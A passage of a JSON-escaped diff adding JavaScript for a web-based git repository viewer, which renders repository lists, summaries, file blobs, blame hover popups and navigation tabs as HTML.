\u0022\u003c/tr\u003e\u003c/table\u003e\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t\t\t}\n+\t\t\t\n+\t\t\ts +\u003d \u0022\u003ctr\u003e\u003ctd\u003e\u003cpre\u003e\u003ccode\u003e\u0022+\n+\t\t \u0022\u003cdiv id\u003d'jglinenumbers' class\u003d'jglinenumbers'\u003e\u0022+\n+\t\t \u0022\u003c/div\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u0022 +\n+\t\t\t\u0022\u003ctd class\u003d'doc'\u003e\u003cpre\u003e\u003ccode id\u003d'do-hljs'\u003e\u0022 + san(j.items[bi].blob) +\n+\t\t\t\u0022\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u0022;\n+\t\t}\n+\t}\n+\t\n+\tif (j.items[bi] \u0026\u0026 j.items[bi].bloblink) {\n+\t\tvar l \u003d j.items[bi].bloblink;\n+\t\t\n+\t\ts +\u003d \u0022\u003cdiv class\u003d'inline'\u003e\u003cdiv class\u003d'inline-title'\u003e\u0022 +\n+\t\tsan(j.items[bi].blobname) +\n+\t\t \u0022\u003c/div\u003e\u0022 +\n+\t\t\t\u0022\u003ctable\u003e\u003ctr\u003e\u0022+\n+\t\t\u0022\u003ctd class\u003d'doc'\u003e\u0022;\n+\t\t\n+\t\tif (l.substr(l.length - 4).toLowerCase() \u003d\u003d \u0022.png\u0022 ||\n+\t\t\tl.substr(l.length - 4).toLowerCase() \u003d\u003d \u0022.jpg\u0022 ||\n+\t\t\tl.substr(l.length - 4).toLowerCase() \u003d\u003d \u0022.ico\u0022 ||\n+\t\t\tl.substr(l.length - 5).toLowerCase() \u003d\u003d \u0022.jpeg\u0022) {\n+\n+\t\t\ts +\u003d \u0022\u003cimg src\u003d\u005c\u0022\u0022 + san(l) + \u0022\u005c\u0022\u003e\u0022;\n+\t\t} else\n+\t\t\ts +\u003d \u0022\u003ca href\u003d\u005c\u0022\u0022 + san(l) + \u0022\u005c\u0022 download\u003e\u0022 + i18n(\u0022Download\u0022) + \u0022\u003c/a\u003e\u0022;\n+\t\t\t\n+\t\ts +\u003d \u0022\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/div\u003e\u0022;\n+\t}\n+\n+\treturn s;\n+}\n+\n+function html_repolist(j, now)\n+{\n+\tvar n, s \u003d \u0022\u0022;\n+\n+\tif (j.items[0] \u0026\u0026 j.items[0].repolist) {\n+\t\n+\t\tvar s \u003d \u0022\u003cdiv class\u003d'jg2-repolist'\u003e\u003ctable\u003e\u003ctr\u003e\u0022+\n+\t\t\t\t\t\u0022\u003ctd class\u003d'heading'\u003e\u0022 + i18n(\u0022Name\u0022) + \u0022\u003c/td\u003e\u0022 +\n+\t\t\t\t\t\u0022\u003ctd class\u003d'heading'\u003e\u0022 + i18n(\u0022Description\u0022) + \u0022\u003c/td\u003e\u0022 +\n+\t\t\t\t\t\u0022\u003ctd class\u003d'heading'\u003e\u0022 + i18n(\u0022Owner\u0022) + \u0022\u003c/td\u003e\u0022 +\n+\t\t\t\t\t\u0022\u003ctd class\u003d'heading'\u003e\u0022 + i18n(\u0022URL\u0022) + \u0022\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t\tvar t \u003d j.items[0].repolist;\n+\t\n+\t\tfor (n \u003d 0; n \u003c t.length; n++)\n+\t\t\t\ts +\u003d \u0022\u003ctr\u003e\u003ctd class\u003d'dl-dir'\u003e\u003cimg class\u003d'repo oneem'\u003e\u0022 +\n+\t\t\t\t\t\u0022\u0026nbsp;\u003ca class\u003d'noline'href\u003d'\u0022 +\n+\t\t\t\t makeurl(t[n].reponame, null, null, null, null, null) +\n+\t\t\t\t \u0022'\u003e\u0022 + san(t[n].reponame) + \u0022\u003c/a\u003e\u003c/td\u003e\u0022 +\n+\t\t\t \u0022\u003ctd\u003e\u0022 + san(t[n].desc) + \u0022\u003c/td\u003e\u0022 +\n+\t\t\t \u0022\u003ctd\u003e\u0022 + identity(t[n], 16, 1) + \u0022\u003c/td\u003e\u0022 +\n+\t\t\t \u0022\u003ctd\u003e\u0022 + san(t[n].url) + \u0022\u003c/td\u003e\u0022 +\n+\t\t\t \u0022\u003ctd\u003e\u0026nbsp\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t\n+\t\ts +\u003d \u0022\u003c/table\u003e\u003c/div\u003e\u0022;\n+\t}\n+\n+\treturn s;\n+}\n+\n+function display_summary(j, now)\n+{\n+\tvar n, s \u003d \u0022\u003ctable\u003e\u0022;\n+\n+ s +\u003d html_branches(now, 10)\n+\t \n+\ts +\u003d \u0022\u003ctr\u003e\u003ctd colspan\u003d5\u003e\u0026nbsp;\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\n+ s +\u003d html_tags(now, 10);\n+\t\n+\ts +\u003d \u0022\u003ctr\u003e\u003ctd colspan\u003d5\u003e\u0026nbsp;\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t\n+\ts +\u003d html_log(j.items[1].log, now, 10);\n+\t\n+\ts +\u003d \u0022\u003ctr\u003e\u003ctd colspan\u003d5\u003e\u003ca href\u003d\u005c\u0022\u0022 +\n+\t\tmakeurl(reponame, \u0022log\u0022, rpath, qbranch, null, null) +\n+\t\t\u0022\u005c\u0022\u003e[...]\u003c/a\u003e\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\n+\ts +\u003d \u0022\u003c/table\u003e\u0022;\n+\n+\treturn s;\n+}\n+\n+var doc_dir \u003d \u0022\u0022;\n+\n+var sd_ext_plain \u003d function () {\n+ var ext1 \u003d {\n+ type: 'output',\n+ regex: '\u003cimg\u005c src\u003d\u005c\u0022\u005c./([^\u005c\u0022]*)',\n+ replace: '\u003cimg\u005c \u005c src\u003d\u005c\u0022' + makeurl(reponame, \u0022plain\u0022, doc_dir + '$1', qbranch, qid, qofs)\n+ };\n+ var ext2 \u003d {\n+ type: 'output',\n+ regex: '\u003cimg\u005c src\u003d\u005c\u0022(?!http:\u005c/\u005c/|https:\u005c/\u005c/|\u005c/)([^\u005c\u0022]*)',\n+ replace: '\u003cimg\u005c \u005c src\u003d\u005c\u0022' + makeurl(reponame, \u0022plain\u0022, doc_dir + '$1', qbranch, qid, qofs)\n+ };\n+ var ext3 \u003d {\n+ type: 'output',\n+ regex: '\u003cimg\u005c src\u003d\u005c\u0022\u005c/([^\u005c\u0022]*)',\n+ replace: '\u003cimg\u005c src\u003d\u005c\u0022' + makeurl(reponame, \u0022plain\u0022, '$1', qbranch, qid, qofs)\n+ };\n+ var ext4 \u003d {\n+ type: 'output',\n+ regex: '\u003ca\u005c href\u003d\u005c\u0022\u005c./([^\u005c\u0022]*)',\n+ replace: '\u003ca\u005c class\u003d\u005c\u0022blogintlink\u005c\u0022\u005c href\u003d\u005c\u0022' + makeurl(reponame, \u0022tree\u0022, doc_dir + '$1', qbranch, qid, qofs)\n+ };\n+ var ext5 \u003d {\n+ type: 'output',\n+ regex: '\u003ca\u005c href\u003d\u005c\u0022http[s]*://([^\u005c\u0022]*)',\n+ replace: '\u003ca\u005c class\u003d\u005c\u0022blogextlink\u005c\u0022\u005c href\u003d\u005c\u0022https://' + '$1'\n+ };\n+ \n+ return [ext1, ext2, ext3, ext4, ext5];\n+}\n+\n+var last_mm, blametable, blamesel, blameotron;\n+\n+function blameotron_handler(e)\n+{\n+\t}\n+\n+function blame_normal(d)\n+{\n+\tif (!d)\n+\t\treturn;\n+\t\n+\tvar a \u003d document.getElementsByClassName(d);\n+\tvar hunks \u003d j.items[1].blame.length, hunk \u003d parseInt(d.substr(6));\n+\n+\tfor (m \u003d 0; m \u003c a.length; m++)\n+\t\ta[m].style.backgroundColor \u003d\n+\t\t\t\u0022rgba(\u0022 + (128 + (((hunk) * 128) / hunks)) +\n+\t\t\t \u0022, \u0022 + (128 + (((hunk) * 128) / hunks)) +\n+\t\t\t \u0022, \u0022 + (128 + (((hunk) * 128) / hunks)) +\n+\t\t\t \u0022, 0.3)\u0022;\n+}\n+\n+function blameotron_revert(e)\n+{\n+\tvar dest \u003d e.target.parentNode.getAttribute(\u0022dest\u0022);\n+\twindow.location \u003d dest;\n+}\n+\n+function blame_mousemove(e)\n+{\n+\tvar d \u003d new Date(), t \u003d d.getTime(), y \u003d 0, n, m;\n+\n+\t/* check the mouse only at 20Hz */\n+\t\n+\tif (blamesel \u0026\u0026 last_mm \u0026\u0026 t - last_mm \u003c 50)\n+\t\treturn;\n+\n+\tlast_mm \u003d t;\n+\t\n+\t/*\n+\t * This slightly avant-garde api is used because we face a problem...\n+\t * the blame divs need to be behind the text (the highlight is already\n+\t * in front of it) but need to convert mousemoves to blame divs.\n+\t *\n+\t * We can't get the mousemoves by removing pointer-events from things in\n+\t * front, because the user may want to highlight text for cut-and-paste\n+\t * or click the line number links.\n+\t */\n+\t\n+\tvar x;\n+\t\n+\tif (x \u003c 80)\n+\t\tx \u003d 80;\n+\telse\n+\t\tx \u003d e.clientX;\n+\t\n+\tvar elements \u003d document.elementsFromPoint(x, e.clientY), i;\n+\tvar hunks \u003d j.items[1].blame.length;\n+\t\n+\tfor (m \u003d 0; m \u003c elements.length; m++)\n+\t\tfor (n \u003d 0; n \u003c elements[m].classList.length; n++) {\n+\t\t\tif (elements[m].classList[n] \u003d\u003d \u0022popup-blameotron\u0022)\n+\t\t\t\treturn;\n+\t\t\tif (elements[m].classList[n] \u003d\u003d \u0022putt\u0022)\n+\t\t\t\treturn;\n+\t\t}\n+\t\n+\t\n+\tfor (m \u003d 0; m \u003c elements.length; m++) \n+\t\tfor (n \u003d 0; n \u003c elements[m].classList.length; n++) \n+\t\t\tif (elements[m].classList[n].substr(0, 6) \u003d\u003d \u0022bhunk-\u0022) {\n+\t\t\t\t\n+\t\t\t\tif (blamesel \u003d\u003d elements[m].classList[n])\n+\t\t\t\t\treturn;\n+\t\t\t\t\n+\t\t\t\tblame_normal(blamesel);\n+\t\t\t\tif (blameotron) {\n+\t\t\t\t\tblameotron.remove();\n+\t\t\t\t\tblameotron \u003d null;\n+\t\t\t\t}\n+\t\t\t\t\n+\t\t\t\tblamesel \u003d elements[m].classList[n];\n+\t\t\t\tvar a \u003d document.getElementsByClassName(blamesel);\n+\t\t\t\thunk \u003d parseInt(blamesel.substr(6));\n+\t\t\t\tfor (i \u003d 0; i \u003c a.length; i++)\n+\t\t\t\t\ta[i].style.backgroundColor \u003d\n+\t\t\t\t\t\t\u0022rgba(\u0022 + (128 + (((hunk) * 64) / hunks)) +\n+\t\t\t\t\t\t \u0022, \u0022 + (128 + (((hunk) * 64) / hunks)) +\n+\t\t\t\t\t\t \u0022, \u0022 + (192 + (((hunk) * 128) / hunks)) +\n+\t\t\t\t\t\t \u0022, 0.5)\u0022;\n+\t\t\t\t\n+\t\t\t\tif (!blameotron) {\n+\t\t\t\t\tvar thehunk \u003d j.items[1].blame[hunk], bow,\n+\t\t\t\t\t\tbotr_width \u003d 250, bp \u003d rpath, devolve, dl \u003d \u0022\u0022;\n+\t\t\t\t\t\n+\t\t\t\t\tbow \u003d blametable.offsetWidth;\n+\t\t\t\t\tif (bow \u003e window.pageXOffset + window.innerWidth)\n+\t\t\t\t\t\tbow \u003d window.pageXOffset + window.innerWidth;\n+\t\t\t\t\t\n+\t\t\t\t\tbow -\u003d botr_width + 32;\n+\t\t\t\t\t\n+\t\t\t\t\t/* original filepath may have been different */\n+\t\t\t\t\tif (thehunk.op)\n+\t\t\t\t\t\tbp \u003d thehunk.op;\n+\t\t\t\t\t\n+\t\t\t\t\tdevolve \u003d makeurl(reponame, \u0022blame\u0022, bp,\n+\t\t\t\t\t\t\tnull, thehunk.orig_oid.oid, null) +\n+\t\t\t\t\t\t\t\u0022#n\u0022 + thehunk.ranges[parseInt(\n+\t\t\t\t\t\t\t elements[m].getAttribute(\u0022r\u0022))].o;\n+\t\t\t\t\t\n+\t\t\t\t\tif (thehunk.orig_oid.oid !\u003d qid)\n+\t\t\t\t\t\tdl \u003d \u0022\u003ca class\u003d'blameotron-revert' dest\u003d\u005c\u0022\u0022 + devolve +\n+\t\t\t\t\t\t\u0022\u005c\u0022\u003e\u003cimg class\u003d\u005c\u0022devolve\u005c\u0022\u003e\u003c/a\u003e\u0026nbsp;\u0022;\n+\n+\t\t\t\t\tblameotron \u003d create_popup(elements[m],\n+\t\t\t\t\t\t\t\tbow,\n+\t\t\t\t\t\t\t\tcollect_offsetTop(elements[m]),\n+\t\t\t\t\t\t\t\t\u0022popup-blameotron\u0022,\n+\t\t\t\t\t\t\t\t\u0022\u003cdiv class\u003d\u005c\u0022putt\u005c\u0022\u003e\u003cdiv class\u003d\u005c\u0022putt1_blame\u005c\u0022\u003e\u0022+\n+\t\t\t\t\t\t\t\t\t\u0022\u003cimg class\u003d\u005c\u0022blame hflip\u005c\u0022\u003e\u003c/div\u003e\u0022 +\n+\n+\t\t\t\t\t\t\t\t\u0022\u003cdiv class\u003d\u005c\u0022putt2\u005c\u0022\u003e\u0022 + dl +\n+\t\t\t\t\t\t\t\t\n+\t\t\t\t\t\t\t\t\tthehunk.sig_final.name + \u0022\u003cbr\u003e\u0022 +\n+\t\t\t\t\t\t\t\t\tagify(new Date().getTime() / 1000,\n+\t\t\t\t\t\t\t\t\t\tthehunk.sig_final.git_time.time) +\n+\t\t\t\t\t\t\t\t\t\t\u0022\u003c/div\u003e\u0022 +\n+\n+\t\t\t\t\t\t\t\t\u0022\u003cdiv class\u003d\u005c\u0022putt4\u005c\u0022\u003e\u0022 +\n+\t\t\t\t\t\t\t\t\u0022\u003ca class\u003d'blameotron-revert' dest\u003d\u005c\u0022\u0022 +\n+\t\t\t\t\t\t\t\t\tmakeurl(reponame, \u0022commit\u0022, null,\n+\t\t\t\t\t\t\t\t\t\t\tnull, thehunk.final_oid.oid, null) +\n+\t\t\t\t\t\t\t\t\t\t\u0022\u005c\u0022\u003e\u0022 +\n+\t\t\t\t\t\t\t\t\t\tthehunk.log_final + \u0022\u003c/a\u003e\u0022 +\n+\t\t\t\t\t\t\t\t\u0022\u003c/div\u003e\u003c/div\u003e\u0022 +\n+\t\t\t\t\t\t\t\t\t\t\n+\t\t\t\t\t\t\t\t\u0022\u003cdiv class\u003d\u005c\u0022putt3_blame\u005c\u0022\u003e\u003cspan class\u003d'gravatar64'\u003e\u0022 +\n+\t\t\t\t\t\t\t\t\tidentity_img(thehunk.sig_final, 64) +\n+\t\t\t\t\t\t\t\t\t\u0022\u003c/span\u003e\u003c/div\u003e\u0022,\n+\t\t\t\t\t\t\t\t\tbotr_width, [ ], [ ], blameotron_handler);\n+\t\t\t\t}\n+\t\t\t\t\n+\t\t\t\tvar elems \u003d document.getElementsByClassName(\u0022blameotron-revert\u0022), n;\n+\t\t\t\tfor (n \u003d 0; n \u003c elems.length; n++)\n+\t\t\t\t\telems[n].addEventListener(\u0022click\u0022, blameotron_revert.bind(elems[n]));\n+\t\t\t\t\n+\t\t\t\treturn;\n+\t\t\t}\n+}\n+\n+function blame_mouseout(e)\n+{\t\n+\tif (!blamesel)\n+\t\treturn;\n+\t\n+\tvar x;\n+\t\n+\tif (x \u003c 80)\n+\t\tx \u003d 80;\n+\telse\n+\t\tx \u003d e.clientX;\n+\t\n+\tvar elements \u003d document.elementsFromPoint(x, e.clientY), m, n;\n+\tvar hunks \u003d j.items[1].blame.length;\n+\t\n+\tfor (m \u003d 0; m \u003c elements.length; m++)\n+\t\tfor (n \u003d 0; n \u003c elements[m].classList.length; n++) {\n+\t\t\tif (elements[m].classList[n].substr(0, 6) \u003d\u003d \u0022bhunk-\u0022)\n+\t\t\t\treturn;\n+\t\t\t\n+\t\t\tif (elements[m].classList[n] \u003d\u003d \u0022popup-blameotron\u0022)\n+\t\t\t\treturn;\n+\t\t\tif (elements[m].classList[n] \u003d\u003d \u0022putt\u0022)\n+\t\t\t\treturn;\n+\t\t}\n+\n+\tblame_normal(blamesel);\n+\tblamesel \u003d null;\n+\t\n+\tif (blameotron) {\n+\t\tblameotron.remove();\n+\t\tblameotron \u003d null;\n+\t}\n+}\n+\n+function display(j)\n+{\n+\tvar url \u003d window.location.pathname, q,\n+\t\ts \u003d \u0022\u003ctable class\u003d'repobar'\u003e\u003ctbody class\u003d'repobar'\u003e\u0022,\n+\t\tnow \u003d new Date().getTime() / 1000;\n+\n+\t/*\n+\t * /vpath/reponame/mode/repopath[?h\u003dbranch][id\u003dxxx]\n+\t */\n+\t\n+\tif (url.substr(0, j.vpath.length) \u003d\u003d j.vpath)\n+\t\turl \u003d url.substr(j.vpath.length + 1);\n+\t\n+\tq \u003d url.split('/');\n+\t\n+\trelpre_no_mode \u003d j.vpath + '/';\n+\t\n+\tif (!blog_mode \u0026\u0026 reponame) {\n+\t\tvar do_aliases \u003d null, s1 \u003d \u0022\u0022, s2 \u003d \u0022\u0022, s3 \u003d \u0022\u0022, s4 \u003d \u0022\u0022;\n+\t\t\n+\t\ts +\u003d \u0022\u003ctr class\u003d'repobar'\u003e\u003ctd class\u003d'repobar'\u003e\u003cdiv class\u003d'repobar'\u003e\u0022 +\n+\t\t \u0022\u003ctable\u003e\u003ctr\u003e\u003ctd\u003e\u003cspan class\u003d'reponame'\u003e\u0022 +\n+\t\t\t \u0022\u003ca href\u003d'\u0022 + makeurl() + \u0022'\u003e\u0022 +\n+\t\t\t \u0022\u003cimg class\u003d'repolist'\u003e\u003c/a\u003e\u0026nbsp;\u0026nbsp;\u003ca href\u003d\u005c\u0022\u0022 +\n+\t\t makeurl(reponame, \u0022summary\u0022, null, null, null, null) + \u0022\u005c\u0022\u003e\u0022 +\n+\t\t reponame + \u0022\u003c/a\u003e\u0026nbsp;\u0026nbsp;\u003c/span\u003e\u003c/td\u003e\u003ctd class\u003d'tight'\u003e\u0022;\n+\n+\t\ts +\u003d \u0022\u003ctable\u003e\u0022;\n+\t\t\n+\t\tif (j.desc)\n+\t\t\ts +\u003d \u0022\u003ctr\u003e\u003ctd class\u003d'tight info' colspan\u003d'2'\u003e\u0022 +\n+\t\t\t\t \u0022\u003cimg class\u003d'info'\u003e\u0026nbsp;\u0022 + san(j.desc) + \u0022\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t\n+\t\ts +\u003d \u0022\u003ctr\u003e\u0022;\n+\t\t\n+\t\tif (j.owner)\n+\t\t\ts +\u003d \u0022\u003ctd class\u003d'tight'\u003e \u0022 + identity(j.owner, 16, 1) + \u0022\u003c/td\u003e\u0022;\n+\t\telse\n+\t\t\ts +\u003d \u0022\u003ctd\u003e\u003c/td\u003e\u0022;\n+\t\t\t\n+\t\tif (j.url)\n+\t\t\ts +\u003d \u0022\u003ctd class\u003d'tight'\u003e \u0022 + \n+\t\t\t\t \u0022\u003cimg class\u003d'copy' id\u003d'clonecopy'\u003e\u0026nbsp;\u003ci\u003egit clone \u0022 +\n+\t\t\t\t san(j.url) + \u0022\u003c/i\u003e\u003c/td\u003e\u0022;\n+\t\telse\n+\t\t\ts +\u003d \u0022\u003ctd\u003e\u003c/td\u003e\u0022;\n+\t\t\t\n+\t\ts +\u003d \u0022\u003c/tr\u003e\u003c/table\u003e\u0022 +\n+\t\t\t \u0022\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/div\u003e\u003c/td\u003e\u003c/tr\u003e\u0022 +\n+\t\t\t \u0022\u003ctr class\u003d'tabbar'\u003e\u003ctd class\u003d'tabbar'\u003e\u0022;\n+\t\t\t\n+\t\tif (q[1]) {\n+\t\t\t\n+\t\t\tswitch (q[1]) {\n+\t\t\tcase \u0022commit\u0022:\n+\t\t\t\tdo_aliases \u003d j.items[0].commit.oid;\n+\t\t\t\tbreak;\n+\t\t\tcase \u0022log\u0022:\n+\t\t\t\tdo_aliases \u003d j.items[0].log[0].name;\n+\t\t\t\ts2 \u003d \u0022 class\u003d\u005c\u0022selected\u005c\u0022 \u0022;\n+\t\t\t\tbreak;\n+\t\t\tcase \u0022tags\u0022:\n+\t\t\tcase \u0022branches\u0022:\n+\t\t\t\tbreak;\n+\t\t\tcase \u0022summary\u0022:\n+\t\t\t\ts1 \u003d \u0022 class\u003d\u005c\u0022selected\u005c\u0022 \u0022;\n+\t\t\t\tbreak;\n+\t\t\tdefault:\n+\t\t\t\tif (q[1] \u003d\u003d \u0022blame\u0022)\n+\t\t\t\t\ts4 \u003d \u0022 class\u003d\u005c\u0022selected\u005c\u0022 \u0022;\n+\t\t\t\telse\n+\t\t\t\t\ts3 \u003d \u0022 class\u003d\u005c\u0022selected\u005c\u0022 \u0022;\n+\t\t\t\tdo_aliases \u003d j.items[0].oid;\n+\t\t\t\tbreak;\n+\t\t\t}\n+\t\t} else {\n+\t\t\tdo_aliases \u003d j.items[0].oid;\n+\t\t\ts3 \u003d \u0022 class\u003d\u005c\u0022selected\u005c\u0022 \u0022;\n+\t\t}\n+\t\t\n+\t\t\n+\t\ts +\u003d \u0022\u003cdiv class\u003d'tabbar'\u003e\u0022;\n+\t\t\n+\t\ts +\u003d \u0022\u003cdiv class\u003d'tabs'\u003e\u003cul\u003e\u0022;\n+\t\t\n+\t\ts +\u003d \u0022\u003cli \u0022 + s1 + \u0022\u003e\u003ca href\u003d\u005c\u0022\u0022 +\n+\t\t\tmakeurl(reponame, \u0022summary\u0022, null, null, null, null) +\n+\t\t\t\u0022\u005c\u0022\u003e\u003cimg class\u003d'summary'\u003e\u0022 + i18n(\u0022Summary\u0022) + \u0022\u003c/a\u003e\u003c/li\u003e\u0022;\n+\t\t\n+\t\ts +\u003d \u0022\u003cli \u0022 + s2 + \u0022\u003e\u003ca href\u003d\u005c\u0022\u0022 +\n+\t\t\tmakeurl(reponame, \u0022log\u0022, rpath, qbranch, qid, qofs) +\n+\t\t\t\u0022\u005c\u0022\u003e\u003cimg class\u003d\u005c\u0022commits\u005c\u0022\u003e\u0022 + i18n(\u0022Log\u0022) + \u0022\u003c/a\u003e\u003c/li\u003e\u0022;\n+\t\t\n+\t\ts +\u003d \u0022\u003cli \u0022 + s3 + \u0022\u003e\u003ca href\u003d\u005c\u0022\u0022 +\n+\t\t\tmakeurl(reponame, \u0022tree\u0022, rpath, qbranch, qid, qofs) +\n+\t\t\t\u0022\u005c\u0022\u003e\u003cimg class\u003d'tree'\u003e\u0022 + i18n(\u0022Tree\u0022) + \u0022\u003c/a\u003e\u003c/li\u003e\u0022;\n+\t\t\n+\t\tif (j.f \u0026 1) { /* capable of blame */\n+\t\t\ts +\u003d \u0022\u003cli \u0022 + s4 + \u0022\u003e\u003ca href\u003d\u005c\u0022\u0022 +\n+\t\t\t\tmakeurl(reponame, \u0022blame\u0022, rpath, qbranch, qid, qofs) +\n+\t\t\t\t\u0022\u005c\u0022\u003e\u003cimg class\u003d'blame'\u003e\u0022 + i18n(\u0022Blame\u0022) + \u0022\u003c/a\u003e\u003c/li\u003e\u0022;\n+\t\t}\n+\t\t\n+\t\ts +\u003d \u0022\u003c/ul\u003e\u003c/div\u003e\u0026nbsp;\u0022;\n+\t\t\n+\t\ts +\u003d \u0022\u003cdiv class\u003d'rpathname'\u003e\u0022;\n+\t\tif (do_aliases)\n+\t\t\ts +\u003d aliases(do_aliases) + \u0022\u0026nbsp;\u0022;\n+\t\t\n+\t\tif (rpath) {\n+\t\t\tvar e \u003d rpath.split('/'), n, agg \u003d \u0022\u0022, mo \u003d rmode;\n+\t\t\t\n+\t\t\tif (mo !\u003d\u003d \u0022tree\u0022 \u0026\u0026 mo !\u003d\u003d \u0022blame\u0022)\n+\t\t\t\tmo \u003d \u0022tree\u0022;\n+\n+\t\t\ts +\u003d \u0022\u003ca href\u003d\u005c\u0022\u0022 +\n+\t\t\t\tmakeurl(reponame, mo, \u0022\u0022, qbranch, qid, qofs) + \u0022\u005c\u0022\u003e\u0022 +\n+\t\t\t\ti18n(\u0022root\u0022) + \u0022\u003c/a\u003e\u0022;\n+\t\t\t\n+\t\t\ts +\u003d \u0022\u003cspan class\u003d'repopath'\u003e\u0022;\n+\t\t\t\n+\t\t\tfor (n \u003d 0; n \u003c e.length; n++) {\n+\t\t\t\tif (e[n]) {\n+\t\t\t\t\tif (n)\n+\t\t\t\t\t\tagg +\u003d \u0022/\u0022;\n+\t\t\t\t\tagg +\u003d e[n];\n+\t\t\t\t\tif (n \u003d\u003d e.length - 1)\n+\t\t\t\t\t\ts +\u003d \u0022 / \u0022 + e[n];\n+\t\t\t\t\telse\n+\t\t\t\t\t\ts +\u003d \u0022 / \u003ca href\u003d\u005c\u0022\u0022 +\n+\t\t\t\t\t\t\tmakeurl(reponame, mo, agg, qbranch, qid, qofs) + \u0022\u005c\u0022\u003e\u0022 +\n+\t\t\t\t\t\t\te[n] + \u0022\u003c/a\u003e\u0022;\n+\t\t\t\t}\n+\t\t\t}\n+\t\t\ts +\u003d \u0022\u003c/span\u003e\u0022;\n+\t\t}\n+\t\ts +\u003d \u0022\u003c/div\u003e\u0022;\n+\t\t\n+\t\ts +\u003d \u0022\u003c/div\u003e\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t}\n+\n+\tif (q.length \u003d\u003d 1 \u0026\u0026 reponame)\n+\t\trelpre_no_mode +\u003d q[0] + '/';\n+\t\n+\trelpre_no_mode +\u003d q[0] + '/';\n+\t\n+\tif (!blog_mode \u0026\u0026 q.length \u003c\u003d 2 \u0026\u0026 !reponame) {\n+\t\t\ts +\u003d \u0022\u003ctr\u003e\u003ctd class\u003d'repolist'\u003e\u0022 + html_repolist(j, now) +\n+\t\t\t\u0022\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t\tdocument.getElementById(\u0022result\u0022).innerHTML \u003d s + \u0022\u003c/table\u003e\u0022;\n+\t\treturn;\n+\t}\n+\n+\tif (j.items[0].error) {\n+\t\ts +\u003d \u0022\u003ctr\u003e\u003ctd\u003e\u003cspan class\u003d'error'\u003e\u003cimg class\u003d'warning'\u003e\u0022 + san(j.items[0].error) + \u0022\u003c/span\u003e\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t} else\n+\t\n+\tif (!blog_mode \u0026\u0026 q[1])\n+\t\tswitch (q[1]) {\n+\t\tcase \u0022log\u0022:\n+\t\t\ts +\u003d \u0022\u003ctr\u003e\u003ctd\u003e\u003cmain role\u003d\u005c\u0022main\u005c\u0022\u003e\u0022 +\n+\t\t\t\thtml_log(j.items[0].log, now, 50, j.items[0].next) + \u0022\u003c/main\u003e\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t\t\tbreak;\n+\t\tcase \u0022commit\u0022:\n+\t\t\ts +\u003d \u0022\u003ctr\u003e\u003ctd\u003e\u003cmain role\u003d\u005c\u0022main\u005c\u0022\u003e\u0022 + html_commit(j) + \u0022\u003c/main\u003e\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t\t\tbreak;\n+\t\tcase \u0022tags\u0022:\n+\t\t\ts +\u003d \u0022\u003ctr\u003e\u003ctd\u003e\u003cmain role\u003d\u005c\u0022main\u005c\u0022\u003e\u0022 + html_tags(now, 999) + \u0022\u003c/main\u003e\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t\t\tbreak;\n+\t\tcase \u0022branches\u0022:\n+\t\t\ts +\u003d \u0022\u003ctr\u003e\u003ctd\u003e\u003cmain role\u003d\u005c\u0022main\u005c\u0022\u003e\u0022 + html_branches(now, 999) + \u0022\u003c/main\u003e\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t\t\tbreak;\n+\t\tcase \u0022summary\u0022:\n+\t\t\ts +\u003d \u0022\u003ctr\u003e\u003ctd\u003e\u003cmain role\u003d\u005c\u0022main\u005c\u0022\u003e\u0022 + display_summary(j, now) + \u0022\u003c/main\u003e\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t\t\tbreak;\n+\t\tdefault:\n+\t\t\ts +\u003d \u0022\u003ctr\u003e\u003ctd\u003e\u003cmain role\u003d\u005c\u0022main\u005c\u0022\u003e\u0022 + html_tree(j, now) + \u0022\u003c/main\u003e\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t\t\tbreak;\n+\t\t}\n+\telse\n+\t\ts +\u003d \u0022\u003ctr\u003e\u003ctd\u003e\u003cmain role\u003d\u005c\u0022main\u005c\u0022\u003e\u0022 + html_tree(j, now) + \u0022\u003c/main\u003e\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\n+\t\n+\ts +\u003d \u0022\u003c/table\u003e\u0022;\n+\t\n+\tdocument.getElementById(\u0022result\u0022).innerHTML \u003d s;\n+\t\n+\t/* add class-based events now the objects exist */\n+\n+//\telems \u003d document.getElementsByClassName(\u0022inline-identity\u0022);\n+\t//for (n \u003d 0; n \u003c elems.length; n++)\n+\t\t//elems[n].addEventListener(\u0022error\u0022, img_err_retry);\n+\t\n+\tif (j.f \u0026 2) {\n+\t\tvar elems \u003d document.getElementsByClassName(\u0022archive\u0022), n;\n+\t\tfor (n \u003d 0; n \u003c elems.length; n++)\n+\t\t\telems[n].addEventListener(\u0022click\u0022, archive_click);\n+\t\t\n+\t\telems \u003d document.getElementsByClassName(\u0022tag\u0022);\n+\t\tfor (n \u003d 0; n \u003c elems.length; n++)\n+\t\t\telems[n].addEventListener(\u0022click\u0022, archive_click);\n+\t\t\n+\t\telems \u003d document.getElementsByClassName(\u0022branch\u0022);\n+\t\tfor (n \u003d 0; n \u003c elems.length; n++)\n+\t\t\telems[n].addEventListener(\u0022click\u0022, archive_click);\n+\t\t\n+\t\telems \u003d document.getElementsByClassName(\u0022patch\u0022);\n+\t\tfor (n \u003d 0; n \u003c elems.length; n++)\n+\t\t\telems[n].addEventListener(\u0022click\u0022, archive_click);\n+\t}\n+\t\n+\t{\n+\t\tvar hh \u003d document.getElementById(\u0022clonecopy\u0022);\n+\t\tif 